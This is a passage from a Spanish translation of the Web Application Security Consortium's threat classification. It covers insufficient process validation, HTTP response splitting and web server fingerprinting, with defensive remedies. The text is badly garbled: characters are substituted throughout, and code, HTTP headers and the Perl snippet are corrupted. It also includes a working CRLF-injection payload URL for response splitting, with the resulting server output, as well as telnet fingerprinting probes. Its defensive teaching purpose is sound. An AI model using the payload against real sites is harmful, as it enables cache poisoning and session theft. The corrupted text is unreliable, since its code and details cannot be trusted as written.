*or e$emplo un robot automatizado# no debera ser capaz de validar
diez mil nuevas cuentas en unos pocos minutos. Similarmente#
robots automatizados no deberan ser capaz de molestar a otros
usuarios con mensa$es repetidos en foros. 'stas operaciones
deberan estar limitadas slo para el uso humano.
)eferencias
1elling Cumans .part +.utomatically-
"ttp;##www.captc"a.net#
2Davaged by Dobots^3, 7y Dandal . *c"wartz
"ttp;##www.webtec"niques.com#arc"ives#NMMI#IN#perl#
2.@et (omponents Ea9e Aisual Aerification 4asier3, 7y Hing'ong
+Hordan- _"ang
"ttp;##go.cadwire.net#RQKJM,Q,I
2Aorras .ntibot3
"ttp;##www.vorras.com#products#antibot#
2&naccessibility of Aisually)Friented .nti)Dobot 1ests3
64
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
"ttp;##www.wQ.org#1D#NMMQ#=')turingtest)NMMQIIMX#
.&$ 2alidacin de proceso insuficiente
La validacin de proceso insuficiente se produce cuando un sitio web
permite a un atacante saltar o evadir el flu$o de control previsto de
una aplicacin. Si el estado de un usuario a trav&s de un proceso# no
es verificado ni reforzado# el sitio web podra ser vulnerable a la
e0plotacin o el enga)o.
Cuando un usuario realiza una cierta funcin de un sitio web# la
aplicacin puede esperar a !ue el usuario navegue a trav&s de ella
en un orden de secuencia especfico. Si el usuario realiza ciertos
pasos incorrectamente o fuera del orden establecido# puede ocurrir
un error en la integridad de los datos. '$emplos de procesos multi/
paso incluyen transferencia por cable# recuperacin de contrase)as#
validacin de compras# alta de cuentas# etc. 'stos procesos
re!uerirn !ue ciertos pasos se lleven a cabo tal y como se esperan.
*ara !ue los procesos multi/paso funcionen apropiadamente# a los
sitios web se les re!uiere mantener el estado del usuario# y como
navega este a trav&s de los flu$os del proceso. Los sitios web
normalmente indican el estado del usuario a trav&s del uso de
coo4ies o campos ocultos de formulario. Sin embargo cuando el
identificador es almacenado en la parte cliente dentro del navegador
web# la integridad de los datos debe ser verificada. Si no# un atacante
podra ser capaz de sortear el esperado flu$o del trfico alterando el
estado actual.
(jemplo
5n sistema online de carro de la compra puede ofrecer al usuario un
descuento si el producto A es comprado. 'l usuario puede no !uerer
comprar el producto A pero s el producto 9. 6ellenando el carro de
la compra con el producto A y el producto 9# y entrando en el
proceso de validacin# el usuario obtiene el descuento. 'l usuario
entonces retrocede a trav&s del proceso de validacin# y borra el
65
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
producto A. 1 simplemente altera los valores antes de pasar al
siguiente paso. 'l usuario entonces entra de nuevo en el proceso de
validacin# manteniendo el descuento ya realizado en el proceso
previo con el producto A en el carro de la compra# y consigue un
precio de compra fraudulento.
)eferencias
2'os and 'on>ts of (lient .ut"entication on t"e =eb3, Bevin 8u, 4mil
*it, Bendra *mit", @ic9 8eamster ) E&1 aboratory for (omputer
*cience
"ttp;##coo9ies.lcs.mit.edu#pubs#webaut";tr.pdf
66
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Contacto
Web Application Security Consortium
httpM22www.webappsec.org
*ara preguntas de carcter general# enviar un correo electrnico a la
siguiente direccinM contact]webappsec.org
67
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Apndice
'0isten tantas t&cnicas de ata!ue a la seguridad de las aplicaciones
web !ue somos incapaces de clasificarlas en este momento. 'n el
ap&ndice# hay documentacin resumida !ue describe alguna de
estas metodologas. 'stas cuestiones sern tratadas de forma
sistemtica en la versin @ de la Clasificacin de Amenazas.
.&. Divisin de respuesta 811+
'n el ata!ue de divisin de respuesta 733*# siempre e0isten tres
partes ,como mnimo- involucradasM
*ervidor web / !ue tiene un agu$ero de seguridad !ue permite
la divisin de respuesta 733*
Fbjetivo [ una entidad !ue interact+a con el servidor web en
nombre del atacante. 3picamente esto es un servidor de cach&
,pro0y o pro0y inverso-# o un navegador ,posiblemente con una
cach& de navegacin-.
.tacante [ inicia el ata!ue
La esencia de la divisin de respuesta 733* es la capacidad del
atacante de enviar una +nica peticin 733* !ue fuerza al servidor
web a formar una cadena de salida !ue es interpretada por el
ob$etivo como dos respuestas 733* en lugar de una +nica
respuesta# en el caso normal. La primera respuesta puede ser
parcialmente controlada por el atacante# pero esto es menos
importante. Lo !ue realmente importa es !ue el atacante controla
completamente la forma de la segunda respuesta desde la lnea de
estado 733* hasta el +ltimo byte del cuerpo de la respuesta 733*.
5na vez !ue esto es posible# el atacante lleva a cabo el ata!ue
enviando dos peticiones al ob$etivo. La primera de ellas provoca dos
respuestas del servidor web# y la segunda peticin tpicamente sera
sobre un recurso KinocenteL del servidor web. Sin embargo# la
68
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
segunda peticin sera empare$ada# por el ob$etivo# con la segunda
respuesta 733*# !ue es totalmente controlada por el atacante. 'l
atacante# por lo tanto# enga)a al ob$etivo haci&ndole creer !ue un
recurso particular del servidor web ,especificado por la segunda
peticin- es la respuesta 733* del servidor ,contenido del servidor-#
cuando esto es en realidad algunos datos# !ue son falseados por el
atacante a trav&s del servidor web [ esta es la segunda respuesta.
Los ata!ues de divisin de respuesta 733* tienen lugar donde el
script de servidor contiene datos de usuario en las cabeceras de la
respuesta 733*. 'sto ocurre tpicamente cuando el script contiene
datos de usuario en la 56L de redireccin de una respuesta de
redireccin ,cdigo de estado 733* A00-# o cuando el script contiene
datos de usuario en el valor o nombre de una coo4ie cuando la
respuesta pone una coo4ie.
'n el primer caso# la 56L de redireccin es parte de la cabecera
Location de la respuesta 733*# y en el segundo caso de asignacin
de la coo4ie# el nombre2valor de la coo4ie es parte de la cabecera
Set/Coo4ie de la respuesta 733*.
La esencia del ata!ue es la inyeccin de caracteres C6 ,retorno de
carro- y L< ,salto de linea- de manera !ue un segundo mensa$e
733* es formado donde slo uno fue planificado por la aplicacin.
La inyeccin de C6L< es un m&todo usado por otros diversos
ata!ues !ue cambian los datos de una +nica respuesta 733*
enviada por la aplicacin ,por e$emplo ^@_-# pero en este caso# el
papel de C6L< es ligeramente diferente [ se propone para terminar
el primer mensa$e ,planificado- de respuesta 733*# y formar otro
mensa$e ,totalmente controlado por el atacante y totalmente
inesperado por la aplicacin- de respuesta 733* ,de ah el nombre
del ata!ue-.
'sta inyeccin es posible si la aplicacin ,!ue se e$ecuta sobre el
servidor web- contiene datos de usuario no validados en una
redireccin# asignacin de una coo4ie o cual!uier otra manera !ue
69
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
eventualmente cause !ue datos de usuario formen parte de las
cabeceras de respuesta 733*.
Con la divisin de respuesta 733*# es posible montar varias clases
de ata!ueM
(ross)site *cripting +,**-M 7asta ahora# ha sido imposible
montar ata!ues de JSS en sitios a trav&s de un script de
redireccin cuando el cliente utiliza %' a no ser !ue todas las
cabeceras Location puedan ser controladas. 'ste ata!ue hace
esto posible.
4nvenenamiento de la cac" web +desfiguraci!n-M 'ste es un
ata!ue nuevo. 'l atacante simplemente fuerza al ob$etivo ,es
decir# el servidor cach& de alguna clase [ el ata!ue ha sido
verificado en S!uid @.C# 8etCache D.@# Apache *ro0y @.I y
algunos otros servidores cach&- a guardar la segunda
respuesta como respuesta a la segunda peticin. 5n e$emplo es
enviar una segunda peticin a KhttpM22web.site2inde0.htmlL# y
forzar al ob$etivo ,servidor cach&- a almacenar la segunda
respuesta !ue es totalmente controlada por el atacante. 'sto es
efectivamente una desfiguracin del sitio web# como mnimo as
es como lo e0perimentan los otros clientes !ue usan el mismo
servidor cach&. "esde luego# adems de la desfiguracin# un
atacante puede robar coo4ies de sesin# o Kfi$arL estas a un
valor predeterminado.
.taques (ross User +usuario nico, pgina nica,
desfiguraci!n temporal-; Como variante del ata!ue# es posible
para el atacante no enviar la segunda peticin. 'sto parece
impar al principio# pero la idea es !ue# en algunos casos# el
ob$etivo puede compartir la misma cone0in 3C* con el
servidor# entre varios usuarios ,este es el caso de algunos
servidores cach&-. 'l siguiente usuario !ue enve una peticin
al servidor web a trav&s del ob$etivo ser servido por el ob$etivo
con la segunda respuesta !ue haba generado el atacante. 'l
resultado final consiste en tener a un cliente del sitio web siendo
servido con un recurso controlado por el atacante. 'sto permite
al atacante KdesfigurarL el sitio para una +nica pgina solicitada
70
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
por un +nico usuario ,una desfiguracin local o temporal-. "e
forma parecida al caso anterior# adems de la desfiguracin# el
atacante puede robar coo4ies de sesin y2o modificarlas.
*ecuestro de pginas con informaci!n espec$fica de usuarioM
Con este ata!ue# es posible para el atacante recibir la
respuesta del servidor a una peticin de usuario en lugar del
usuario. *or lo tanto# el atacante gana acceso a informacin
especfica del usuario !ue puede ser sensible y confidencial.
4nvenenamiento de la cac" del navegadorM 'ste es un caso
especial de K'nvenenamiento de la cach& webL ,verificado en %'
E.I-. 's algo similar a JSS en el sentido !ue en ambos el
atacante necesita a clientes individuales como ob$etivo. Sin
embargo# al contrario !ue en JSS# tiene un efecto duradero
por!ue el recurso suplantado permanece en la cach& del
navegador.
(jemplo
Considere la siguiente pgina ;S* ,asuma !ue se encuentra en
/redr_ang.|sp-M
<%
response.sendRedrect("/by_ang.|sp?ang="+
request.getParameter("ang"));
%>
Cuando se invoca /redr_ang.|sp con un parmetro ang=Engsh
le redireccionar a by_ang.|sp?ang=Engsh.
5na respuesta tpica se muestra a continuacin ,el servidor web es
9'A WebLogic G.? S*? [ ver apartado K'ntorno de LaboratorioL en
^?_ para informacin detallada sobre este servidor-M
HTTP/1.1 302 Moved Temporary
Date: Wed, 24 Dec 2003 12:53:28 GMT
Locaton: http://10.1.1.1/by_ang.|sp?ang=Engsh
71
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Server: WebLogc XMLX Modue 8.1 SP1 Fr |un 20 23:06:40
PDT 2003 271009 wth
Content-Type: text/htm
Set-Cooke:
|SESSIONID=1pMRZOOOzZE6Y6vsREg82pq9Bo1ape7h4Yo
HZ62RX|ApqwBE!-1251019693; path=/
Connecton: Cose
<htm><head><tte>302 Moved
Temporary</tte></head>
<body bgcoor="#FFFFFF">
<p>Ths document you requested has moved
temporary.</p>
<p>It's now at <a href="http://10.1.1.1/by_ang.|sp?
ang=Engsh">http://10.1.1.1/by_ang.|sp?
ang=Engsh</a>.</p>
</body></htm>
Como se puede ver# el parmetro ang es embebido en la cabecera
Location de la respuesta.
Ahora# seguimos montando un ata!ue de divisin de respuesta
733*. 'n lugar de enviar el valor Engsh# envaimos un valor !ue
hace uso de secuencias C6L< codificadas en la 56L para terminar
la respuesta en curso# y formar una adicional. A continuacin se
muestra como se lleva esto a caboM
/redr_ang.|sp?ang=foobar%0d%0aContent-Length:
%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
%0aContent-Type:%20text/htm%0d%0aContent-Length:
%2019%0d%0a%0d%0a<htm>Shazam</htm>
'sto causa el siguiente flu$o de salida# enviado por el servidor web
sobre la cone0in 3C*M
72
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
HTTP/1.1 302 Moved Temporary
Date: Wed, 24 Dec 2003 15:26:41 GMT
Locaton: http://10.1.1.1/by_ang.|sp?ang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/htm
Content-Length: 19
<htm>Shazam</htm>
Server: WebLogc XMLX Modue 8.1 SP1 Fr |un 20 23:06:40
PDT 2003 271009 wth
Content-Type: text/htm
Set-Cooke:
|SESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcOUcAanfK7I
n7IyrCST9UsS!-1251019693; path=/
|...|
AclaracinM este flu$o 3C* ser analizado por el ob$etivo como sigueM
5na primera respuesta 733*# !ue es una respuesta AI@
,redireccin-. 'sta respuesta est coloreada de azul.
5na segunda respuesta 733*# !ue es una repuesta @II# con un
contenido de ?H bytes de 73(L. 'sta respuesta est coloreada de
ro$o.
"atos superfluos [ todo lo !ue se encuentra ms all del final de la
segunda respuesta es superfluo y no cumple el estndar 733*.
Cuando el atacante alimenta el ob$etivo con dos peticiones# la
primera forma la 56L
/redr_ang.|sp?ang=foobar%0d%0aContent-Length:
%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d
%0aContent-Type:%20text/htm%0d%0aContent-Length:
%2019%0d%0a%0d%0a<htm>Shazam</htm>
: la segunda la 56L
73
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
/ndex.htm
'l ob$etivo creera !ue la primera peticin es empare$ada con la
primera respuestaM
733*2?.? AI@ (oved 3emporarily
"ateM Wed# @C "ec @IIA ?DM@EMC? =(3
LocationM httpM22?I.?.?.?2by\lang.$spUlangOfoobar
Content/LengthM I
: la segunda peticin ,a 2inde0.html- es empare$ada con la segunda
respuestaM
HTTP/1.1 200 OK
Content-Type: text/htm
Content-Length: 19
<htm>Shazam</htm>
: por esto# el atacante logra enga)ar al ob$etivo.
Ahora# este e$emplo particular es bastante ingenuo# como es
e0plicado en ^?_. 8o tiene en cuenta algunos problemas como la
forma en la !ue los ob$etivos analizan el flu$o 3C*# consideraciones
sobre los datos superfluos# problemas con la inyeccin de datos y
como forzar caching. 'sto# y ms# se discute en ^?_# ba$o los
apartados Kconsideraciones prcticasL.
Solucin
Balidar las entradas. 'liminar los caracteres C6 y L< ,y todos los
otros caracteres arriesgados- antes de fi$ar datos en cual!uiera de
las cabeceras de respuesta 733*# particularmente cuando se
asignan coo4ies y en redirecciones. 's posible utilizar productos de
terceros para protegerse contra la inyeccin C62L<# y para probar la
74
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
e0istencia de tales agu$eros de seguridad antes de realizar el
despliegue de la aplicacin.
1tras recomendaciones sonM
Asegurarse de !ue se est utilizando el motor ms actualizado
de la aplicacin
Asegurarse de !ue la aplicacin es accedida a trav&s de una
+nica direccin %* ,es decir# la misma direcciin %* no est
siendo usada para otro uso# como ocurre con hosting virtual-
)eferencias
5I6 W'ivide and (onquer ? C11/ Desponse *plitting, =eb (ac"e
/oisoning .ttac9s, and Delated 1opicsW by .mit Blein,
"ttp;##www.sanctuminc.com#pdf#w"itepaper<"ttpresponse.pdf
5N6 2(D8 &njection3 by Ulf Carn"ammar +7ug1raq posting-,
"ttp;##www.securityfocus.com#arc"ive#I#NJIXIX
.&" *dentificacin del servidorCaplicacin Geb
La identificacin del servidor2aplicacin web es similar a su
predecesor# la identificacin 3C*2%* ,con el escner favorito hoy en
da [ 8map- e0cepto en !ue est focalizada en la capa de aplicacin
del modelo 1S% en lugar de la capa de transporte. La teora tras la
identificacin de servidor2aplicacin web es crear un perfil e0acto del
software ob$etivo# configuraciones y posiblemente incluso su
ar!uitectura2topologa de red analizando lo siguienteM
"iferencias de implementacin del protocolo 733*
Cabeceras de respuesta 733*
'0tensiones de ficheros ,.asp contra .$sp-
Coo4ies ,AS*S'SS%18-
*ginas de error ,Tpginas por defectoU-
'structuras de directorio y convenciones de nombres ,Windows25ni0-
%nterfaces de desarrollo web ,<rontpage2Web*ublisher-
%nterfaces de administracin web ,i*lanet2Comanche-
75
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
"esa$ustes en la identificacin de sistema operativo ,T%%S en Linu0U-
La operacin normal de los atacantes es identificar la presencia de la
web ob$etivo y enumerar cuanta informacin sea posible. Con esta
informacin# el atacante puede desarrollar un escenario e0acto del
ata!ue# !ue puede e0plotar eficazmente una vulnerabilidad para el
tipo2versin de software !ue est siendo utilizado por la m!uina
ob$etivo.
%dentificar e0actamente esta informacin para realizar posibles
ata!ues es de vital importancia ya !ue muchas vulnerabilidades de
seguridad ,como desbordamientos de b+ffer# etc.- son
e0tremadamente dependientes de un software y n+mero de versin
especficos. "e forma adicional# identificar correctamente las
versiones de software y seleccionar los e0ploits adecuados reduce el
KruidoL total del ata!ue mientras incrementa su efectividad. 's por
esta razn !ue un servidor2aplicacin web !ue se identifica a s
mismo de forma obvia# est invitando la llegada de problemas.
"e hecho# el 733* 6<C @IEG discute e0actamente esta cuestin e
impulsa a los administradores web a tomar medidas para ocultar la
versin de software !ue est siendo mostrada por la cabecera
KServerL de la respuestaM
Nota: La revelacin de la versin especfica de software del
servidor permite que el servidor sea ms vulnerable a ataques
contra el software del que se conoce que contiene agujeros de
seguridad !e anima a los administradores del servidor a crear
este campo como una opcin configurable
"ebido al hecho de !ue es posible deducir el tipo y versin del
servidor2aplicacin web !ue est siendo utilizado por el ob$etivo
mediante la correlacin de la informacin recopilada por otras
categoras de 6evelacin de %nformacin# nos enfocaremos slo en
el anlisis de la implementacin del protocolo 733* !ue utilizan las
herramientas de identificacin web hoy en da.
76
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
(jemplosM
3odos los e$emplos mostrados a continuacin demuestran las
t&cnicas de anlisis de la composicin e interpretacin de las
peticiones 733* por los servidores web ob$etivo.
Diferencias de implementacin del protocolo 811+
:Dico H La categora de caractersticas l&0icas abarca variaciones
en las palabras2frases usadas actualmente# as como la
capitalizacin y puntuacin mostrada por las cabeceras de respuesta
733*.
Iensaje de cdio de respuesta H 'n el cdigo de error CIC#
Apache informa K8ot <oundL mientras !ue (icrosoft %%S2D.I informa
K1b$ect 8ot <oundL.
7pache 1.3.2C # 4!4 .icroso1t#;;&/4.! # 4!4
Q telnet target1.com F!
/r*ing target1.com...
'onnected to
target1.com.
(scape character is
=\T=.
HEAD /non-existent-
file.txt HTTP/1.0
HTTP/1.1 404 Not Found
Eate: .on+ !A ,un 2!!4
14:31:!3 -./
&er%er: 7pache/1.3.2C
0OnixH mod3perl/1.2C
'onnection: close
Q telnet target2.com F!
/r*ing target2.com...
'onnected to
target2.com.
(scape character is
=\T=.
HEAD /non-existent-
file.txt HTTP/1.0
HTTP/1.1 404 Object Not
Found
&er%er: .icroso1t#
;;&/4.!
Eate: .on+ !A ,un 2!!4
14:41:22 -./
77
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'ontent#/*pe:
text/html; charset=iso#
FFDC#1
'onnection closed >*
1oreign host.
'ontent#5ength: 4B1
'ontent#/*pe: text/html
'onnection closed >*
1oreign host.
(Dpresin de cabeceras H La cabecera KContent/LengthL es
devuelta en lugar de KContent/lengthL.
:etscape#(nterprise/B.!
X 4(7E
.icroso1t#;;&/4.! # 4(7E
Q telnet target1.com F!
/r*ing target1.com...
'onnected to
target1.com.
(scape character is
=\T=.
HEAD / HTTP/1.0
4//</1.1 2!! 8]
&er%er: :etscape#
(nterprise/B.!
Eate: .on+ !A ,un 2!!4
14:DD:2D -./
ontent-len!t"# 2B24F
'ontent#t*pe: text/html
7ccept#ranges: >*tes
'onnection closed >*
1oreign host.
Q telnet target2.com F!
/r*ing target2.com...
'onnected to
target2.com.
(scape character is
=\T=.
HEAD / HTTP/1.0
4//</1.1 4!4 8>Kect :ot
)ound
&er%er: .icroso1t#
;;&/4.!
Eate: .on+ !A ,un 2!!4
1D:22:D4 -./
ontent-$en!t"# 4B1
'ontent#/*pe: text/html
'onnection closed >*
1oreign host.
SintJctico H *or el 6<C 733*# todas las comunicaciones web
re!uieren tener una estructura y composicin predefinida de modo
78
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
!ue ambas partes pueden entender a cada otra. 3odava e0isten
variaciones en la ordenacin de las cabeceras de respuesta 733*.
Ordenacin de cabeceras H Los servidores Apache
coherentemente colocan la cabecera K"ateL antes !ue la cabecera
KServerL# mientras !ue (icrosoft/%%S tiene estas cabeceras en orden
inverso.
7pache 1.3.2CX 4(7E .icroso1t#;;&/4.! #
4(7E
Q telnet target1.com F!
/r*ing target1.com...
'onnected to
target1.com.
(scape character is
=\T=.
HEAD / HTTP/1.0
4//</1.1 2!! 8]
D%te# .on+ !A ,un 2!!4
1D:21:24 -./
&e'(e'# 7pache/1.3.2C
0OnixH mod3perl/1.2C
'ontent#5ocation:
index.html.en
Jar*: negotiate+accept#
language+
accept#charset
/':: choice
5ast#.odi1ied: )ri+ !4
.a* 2!!1 !!:!!:3F -./
(/ag: "4de14#D>!#
3a11112B;4!a4edDd"
7ccept#6anges: >*tes
'ontent#5ength: 14DB
'onnection: close
Q telnet target2.com F!
/r*ing target2.com...
'onnected to
target2.com.
(scape character is
=\T=.
HEAD / HTTP/1.0
4//</1.1 4!4 8>Kect :ot
)ound
&e'(e'# .icroso1t#
;;&/4.!
D%te# .on+ !A ,un 2!!4
1D:22:D4 -./
'ontent#5ength# 4B1
'ontent#/*pe: text/html
'onnection closed >*
1oreign host.
79
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'ontent#/*pe: text/html
'ontent#5anguage: en
(xpires: .on+ !A ,un
2!!4 1D:21:24 -./
'onnection closed >*
1oreign host.
Ordenacin de listas H Cuando un m&todo 1*3%18S es enviado en
una peticin 733*# una lista de m&todos permitidos para la 56% dada
son devueltos en una cabecera KAllowL. Apache slo devuelve la
cabecera KAllowL# mientras !ue %%S tambi&n incluye una cabecera
K*ublicL.
7pache 1.3.2CX 8</;8:& .icroso1t#;;&/D.! #
8</;8:&
Q telnet target1.com F!
/r*ing target1.com...
'onnected to
target1.com.
(scape character is
=\T=.
OPT)ON& * HTTP/1.0
4//</1.1 2!! 8]
Eate: .on+ !A ,un 2!!4
1B:21:DF -./
&er%er: 7pache/1.3.2C
0OnixH mod3perl/1.2C
'ontent#5ength: !
Allo+# ,ET- HEAD-
OPT)ON&- T.AE
'onnection: close
'onnection closed >*
1oreign host.
Q telnet target2.com F!
/r*ing target2.com...
'onnected to
target2.com.
(scape character is
=\T=.
OPT)ON& * HTTP/1.0
4//</1.1 2!! 8]
&er%er: .icroso1t#
;;&/D.!
Eate: .on+ A ,un 2!!4
12:21:3F -./
'ontent#5ength: !
7ccept#6anges: >*tes
E7&5: <E7J:s$l>
E7J: 1+ 2
Public# OPT)ON&- T.AE-
,ET- HEAD- DE$ETE- P/T-
PO&T- OP0- 1O2E-
80
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
13O$- P.OPF)ND-
P.OPPATH- $O3-
/N$O3- &EA.H
Allo+# OPT)ON&- T.AE-
,ET- HEAD- DE$ETE- P/T-
PO&T- OP0- 1O2E-
13O$- P.OPF)ND-
P.OPPATH- $O3-
/N$O3- &EA.H
'ache#'ontrol: pri%ate
'onnection closed >*
1oreign host.
SemJntico H Adems de las palabras y frases !ue son devueltas en
la respuesta 733*# hay diferencias obvias en como los servidores
web interpretan tanto las peticiones gramaticalmente correctas como
las anormales2no conformes.
+resencia de cabeceras especKficas H 5n servidor tiene una
seleccin de cabeceras para incluir en la respuesta. (ientras
algunas cabeceras son re!ueridas por la especificacin# la mayora
de cabeceras ,por e$emplo# '3ag- son opcionales. 'n los e$emplos
siguientes# las cabeceras de respuesta de los servidores Apache
incluyen entradas adicionales comoM '3ag# Bary y '0pires mientras
!ue esto no ocurre con el servidor %%S.
7pache 1.3.2CX 4(7E .icroso1t#;;&/4.! #
4(7E
Q telnet target1.com F!
/r*ing target1.com...
'onnected to
target1.com.
(scape character is
=\T=.
Q telnet target2.com F!
/r*ing target2.com...
'onnected to
target2.com.
(scape character is
=\T=.
81
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
HEAD / HTTP/1.0
4//</1.1 2!! 8]
Eate: .on+ !A ,un 2!!4
1D:21:24 -./
&er%er: 7pache/1.3.2C
0OnixH mod3perl/1.2C
'ontent#5ocation:
index.html.en
2%'4# ne!oti%te-%cce5t-
l%n!u%!e-
%cce5t-c"%'set
/':: choice
5ast#.odi1ied: )ri+ !4
.a*
2!!1 !!:!!:3F -./
ET%!# 64de14-7b0-
8%f1f19:;40%4ed7d6
7ccept#6anges: >*tes
'ontent#5ength: 14DB
'onnection: close
'ontent#/*pe: text/html
'ontent#5anguage: en
Ex5i'es# 1on- 0; <un
9004 17#91#94 ,1T
'onnection closed >*
1oreign host.
HEAD / HTTP/1.0
4//</1.1 4!4 8>Kect :ot
)ound
&er%er: .icroso1t#
;;&/4.!
Eate: .on+ !A ,un 2!!4
1D:22:D4 -./
'ontent#5ength# 4B1
'ontent#/*pe: text/html
'onnection closed >*
1oreign host.
Cdios de respuesta para peticiones anormales H %ncluso
aun!ue las mismas peticiones sean hechas contra los servidores
web ob$etivos# es posible !ue la interpretacin de las peticiones sean
diferentes y# por lo tanto# se generen distintos cdigos de respuesta.
5n e$emplo perfecto de diferencia semntica en la interpretacin es
el test de la Kidentificacin ligeraL !ue utiliza el escner Whis4er. La
seccin de cdigo *erl mostrada ms aba$o# tomada del fichero
82
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
main.test de Whis4er @.?# e$ecuta dos pruebas para determinar si el
servidor web ob$etivo es de hecho un servidor Apache#
independientemente de lo !ue informe la cabecera KServerL. La
primera peticin es un K='3 22L y si el cdigo de estado 733* es @II#
entonces la siguiente peticin es enviada. La segunda peticin es
K='3 2X@fL# con la 56% codificada [ y traducida por K='3 22L. 'n esta
ocasin Apache devuelve un cdigo CIC [ cdigo de error 8ot
<ound. 1tros servidores web [ %%S [ no retornan los mismos cdigos
de estado para estas peticiones.
Q noN do some light 1ingerprinting...
## 'O/ ##
m* R71lag=!;
='e>?+"is@e'A-B?u'iACD//D;
i10U3do3re$uest0[re$+[-36(&<HHW
3d3response0[-36(&<H;
ifE=,F.E&P?+"is@e'A-B?codeACC900G?
='e>?+"is@e'A-B?u'iACD/
H9fD;
i10U3do3re$uest0[re$+[
-36(&<HHW
3d3response0[
-36(&<H;
=Afl%!II
ifE=,F.E&P?+"is@e'A-B?codeACC404G;
Y Y Y

m3re3>anner0=7pache=+R71lagH;
"espu&s de e$ecutar Whis4er contra el sitio web ob$etivo# se informa#
a partir de las pruebas previas# !ue el servidor web puede ser de
hecho un servidor Apache. A continuacin se muestra el e$emplo de
la seccin de informe de Whis4erM
83
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
##########################################
/itle: &er%er >anner
;d: 1!!
&e%erit*: ;n1ormational
/he ser%er returned the 1olloNing >anner:
.icroso1t#;;&/4.!
##########################################
/itle: 7lternate ser%er t*pe
;d: 1!3
&e%erit*: ;n1ormational
Testin! "%s identified t"e se'(e' Ji!"t be %n
DA5%c"eD se'(e'. /his
'hange could >e due to the ser%er not correctl*
identi1*ing itsel1 0the
7dmins changed the >annerH. /ests Nill noN check
1or this ser%er t*pe
as Nell as the pre%iousl* identi1ied ser%er t*pes.
##########################################

8o slo tiene en cuenta el atacante esta alarma de !ue los
administradores del servidor web son lo suficientemente inteligentes
como para modificar la informacin de identificacin de la cabecera
KServerL# pero Whis4er tambi&n a)adir en todas las pruebas de
Apache su e0ploracin lo !ue incrementar su e0actitud.
Soluciones
8o es posible eliminar cada informacin de identificacin
proporcionada por su servidor web. 'l hecho es !ue un determinado
ata!ue ser capaz de identificar su software de servidor web. Su
ob$etivo debe ser elevar el listn de reconocimiento a una altura !ue
provo!ue al atacante a realizar pruebas lo suficientemente KsonorasL
como para !ue generen una alerta de seguridad. Los pasos
comentados a continuacin ayudarn en esta tarea. Las soluciones
84
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
son listadas en orden# de ms facil a ms comple$a de implementar.
Iodificar la cadena de identificacin de la cabecera LServerM
's posible editar y2o modificar ,con ob$etivos de enga)ar- la
informacin mostrada en la cabecera KServerL de la respuesta de un
servidor web. 7ubo mucho debate en los crculos de la seguridad
web sobre cuanta proteccin puede ser ganada por el cambio de la
informacin en la cabecera KServerL. (ientras la sola alteracin de la
cadena de identificacin# y no tomando otras medidas para ocultar la
versin de software# probablemente no proporciona mucha
proteccin frente a la gente !ue se dedica de forma activa a llevar a
cabo identificaciones# esto realmente ayuda respecto al blo!ueo de
programas gusano automatizados. "ebido al incremento en
popularidad del uso de gusanos para la infeccin masiva de
sistemas# este m&todo de proteger sus servidores web se convierte
en vital. 'ste paso seguramente permitira ganar a las empresas
alg+n tiempo durante la fase de parcheado cuando nuevos gusanos
son lanzados y estos son configurados para atacar sistemas basados
en la cadena de identificacin de la respuesta del servidor.
Servidores Apac!e [ (odSecurity tiene la directiva
SecServerSignature# !ue permite al administrador web poner la
informacin de la cadena de identificacin desde el fichero httpd.conf
en lugar de editar el cdigo fuente de Apache de forma previa a su
compilacin.
Servidores **S [ %nstalando las herramientas %%SLoc4"own y
56LScan# puede actualizar la informacin de identificacin devuleta
a los clientes.
Iinimizar la verbosidad de la informacin en las cabeceras
6estringir la cantidad de informacin devuelta en las cabeceras de
respuesta. *or e$emplo# Apache permite al administrador controlar la
verbosidad de la cadena de identificacin# editando la directiva
Server3o4ensM
85
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
Server1o@ens +rodNuctOnlyO
'l servidor enva ,por e$emplo-M ServerM Apache
Server1o@ens IinNimalO
'l servidor enva ,por e$emplo-M ServerM Apache2?.A.I
Server1o@ens OS
'l servidor enva ,por e$emplo-M Apache2?.A.I ,5ni0-
Server1o@ens Aull Por not specifiedQ
'l servidor enva ,por e$emplo-M ServerM Apache2?.A.I ,5ni0- *7*2A.I
(y(od2?.@
(inimizando las cabeceras# puede ocultar informacin adicional
como los mdulos de apache !ue se encuentran instalados.
*mplementar cabeceras falsas
5na t&cnica alternativa para desistir2confundir la identificacin del
servidor web es mostrar una topologa web falsa. Los atacantes
normalmente incluyen sesiones de captura de cadenas de
identificacin como parte del proceso global de identificacin.
"urante la identificacin# el atacante trata de conocer la ar!uitectura
de la empresa ob$etivo. A)adiendo cabeceras falsas adicionales#
simulamos un comple$o entorno web ,es decir# una "(S-. A)adiendo
cabeceras adicionales para simular la e0istencia de un pro0y inverso#
podemos crear la KaparienciaL de una ar!uitectura comple$a.
*ara servidores Apache# podemos a)adir la siguiente entrada en el
fichero httpd.conf para conseguir esta funcinM
8eader set 2ia R.&. squid&proDy&companyD&com
PSquidC"&$&S1A/:(;QR
(rror8eader set 2ia L.&. squid&proDy&companyD&com
PSquidC"&$&S1A/:(;QR
